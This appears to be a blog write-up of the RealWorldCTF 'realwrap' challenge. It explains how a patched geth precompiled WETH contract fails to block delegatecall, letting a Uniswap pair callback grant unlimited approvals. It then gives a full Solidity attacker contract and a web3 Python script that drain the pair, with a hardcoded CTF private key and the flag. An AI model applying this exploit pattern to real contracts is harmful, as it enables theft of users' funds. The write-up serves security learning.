<-->

 

I thought RealWorldCTF was difficult, but it was such a good experience to solve one challenge.

I found a way to expoit, but I didn't know how to use web3 so I had a hard time.

 


readme

WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE!

 

nc 47.254.91.104 20000

faucet: http://47.254.91.104:8080

RPC(geth v1.10.26 with realwrap patch): http://47.254.91.104:8545

 

https://github.com/chaitin/Real-World-CTF-5th-Challenges/tree/main/realwrap

 

 


Root Cause

https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE

geth_v1.10.26_precompiled.diff

 

 

ETH can work like WETH by using a precompiled contract.

It's possible to confirm if the functions work by calling them to the WETH address.

+var (
+	functions = map[string]RunStatefulPrecompileFunc{
+		calculateFunctionSelector("name()"):                                 metadata("name"),
+		calculateFunctionSelector("symbol()"):                               metadata("symbol"),
+		calculateFunctionSelector("decimals()"):                             metadata("decimals"),
+		calculateFunctionSelector("balanceOf(address)"):                     balanceOf,
+		calculateFunctionSelector("transfer(address,uint256)"):              transfer,
+		calculateFunctionSelector("transferAndCall(address,uint256,bytes)"): transferAndCall,
+		calculateFunctionSelector("allowance(address,address)"):             allowance,
+		calculateFunctionSelector("approve(address,uint256)"):               approve,
+		calculateFunctionSelector("transferFrom(address,address,uint256)"):  transferFrom,
+	}
+	realWrappedEtherAddr = common.HexToAddress("0x0000000000000000000000000000000000004eA1")

 

If you look at the implementation of the functions, you will find that there is a problem in calculating the storage location.

+func approve(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+	if evm.interpreter.readOnly {
+		return nil, suppliedGas, ErrWriteProtection
+	}
+	inputArgs := &ApproveInput{}
+	if err = unpackInputIntoInterface(inputArgs, "approve", input); err != nil {
+		return nil, suppliedGas, err
+	}
+
+	return approveInternal(evm, suppliedGas, caller, inputArgs.Spender, inputArgs.Amount)
+}
+func approveInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) {
+	if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil {
+		return nil, 0, err
+	}
+	loc := calculateAllowancesStorageSlot(owner, spender)
+
+	if remainingGas, err = deductGas(suppliedGas, params.SstoreSetGas); err != nil {
+		return nil, 0, err
+	}
+
+	evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))
+	return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil
+}

 

 

approve(owner, spender, amount) call approveInternal(owner, spender, amount).

 

approveInternal() has following code to execute allowance[owner][spedner] = amount.

loc := calculateAllowancesStorageSlot(owner, spender)

 

 

In ERC20 token..

If the approve function is called by delegatecall, the caller's context remains unchanged, so the caller can not access the allowance.

 

But precompiled contract does not check that is it staticcall or delegatecall?

=> approve(WETH, me, infinity)

 

I got the infinity allowance of anyone by uniswap pair →(call) uniswapV2Call →(delegatecall) precompiled


Next, transferAndCall(to, amount, data) function can make call(data)

+func transferAndCall(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+	if readOnly {
+		return nil, suppliedGas, ErrWriteProtection
+	}
+	inputArgs := &TransferAndCallInput{}
+	if err = unpackInputIntoInterface(inputArgs, "transferAndCall", input); err != nil {
+		return nil, suppliedGas, err
+	}
+
+	if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
+		return ret, remainingGas, err
+	}
+
+	code := evm.StateDB.GetCode(inputArgs.To)
+	if len(code) == 0 {
+		return ret, remainingGas, nil
+	}
+
+	snapshot := evm.StateDB.Snapshot()
+	evm.depth++
+	defer func() { evm.depth-- }()
+
+	if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
+		evm.StateDB.RevertToSnapshot(snapshot)
+		if err != ErrExecutionReverted {
+			remainingGas = 0
+		}
+	}
+
+	return ret, remainingGas, err
+}

My call context(msg.sender) is setted uniswap pair in simple Token. => approve(uniswap pair, me, infinity)

I got all of simple token that uniswap pair has 

by uniswap pair →(call) uniswapV2Call →(delegatecall) precompiled →(evm.Call) simpleToken 

 

Exploit

contract Attacker{
	address WETH = 0x0000000000000000000000000000000000004eA1;
  address my = 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3;
  address pair = 0x329c2258ff58a97f808571c20628fAa19E6Ca1Ed;
  address token1 = 0x540E136cBeDf274aa65FFb1A5De5454Bbb56EFd1;
	function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        (bool succc, ) = WETH.delegatecall(abi.encodeWithSignature("approve(address,uint256)", my, 100 ether));
        require(succc == true, "?");
        (bool succcc, ) = WETH.delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", token1, 0.1 ether, abi.encodeWithSignature("approve(address,uint256)", my, 100 ether)));
        require(succc == true, "?");
    }
}

 

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://47.254.91.104:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0x126ed23464f5f3f03352fa6cad4731712fc896162711f9a1e04e7d982a6d7635'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = "0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3"

def transfer(erc20, to: str, amount: int):
    f = open('erc20_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=erc20, abi=abi)
    func_call = contract.functions["transfer"](to, amount).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def swap(pair, out1:int, out2:int, to:str):
    f = open('pair_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=pair, abi=abi)
    func_call = contract.functions["swap"](out1, out2, to, b"1"*32).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def transferFrom(_token: str, _from: str, _to: str, _amount: int):
    f = open('erc20_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=_token, abi=abi)
    func_call = contract.functions["transferFrom"](_from, _to, _amount).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def approve():
    WETH = "0x0000000000000000000000000000000000004eA1"
    pair = "0xcd2b747e7f620224274Eb9BfC8669D8C2CAF914d"
    token1 = "0xd80A0eFdC40C532C5506623F1786a1a8F557f51a"
    f = open('erc20_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=token1, abi=abi)
    func_call = contract.functions["approve"](pair, 10**18).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


def createAttack():
    f = open("attack_abi", "r")
    erc20_abi= f.read()
    f.close()
    f = open("attack_bytecode", "r")
    erc20_bytecode= f.read()
    f.close()

    simpleToken = w3.eth.contract(abi=erc20_abi, bytecode=erc20_bytecode)
    transaction = simpleToken.constructor().buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")

def sync(_pair):
    f = open('pair_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=_pair, abi=abi)
    func_call = contract.functions["sync"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


WETH = "0x0000000000000000000000000000000000004eA1"
FACTORY = "0xd179bc7A30de61485665Bd5ebC628B9bCC4FFf94"
PAIR = "0x329c2258ff58a97f808571c20628fAa19E6Ca1Ed"
SIMPLETOKEN = "0x540E136cBeDf274aa65FFb1A5De5454Bbb56EFd1"
ATTACK = "0x94F5e5619DEFfEB06fc6a4Da4b494fd3bA62E0b7"


createAttack()

ATTACK = input("attacker contract address: ")

transfer(WETH, PAIR, int(0.4 * 10**18))
swap(PAIR, 0, 50, ATTACK)
transferFrom(SIMPLETOKEN, PAIR, myAddr, 100 * 10 ** 18 - 50)
transferFrom(WETH, PAIR, myAddr, int(1.4 * 10**18))
sync(PAIR)

 

 

rwctf{pREcOmpilEd_m4st3r_5TolE_mY_M0ney}

 

+ Recent posts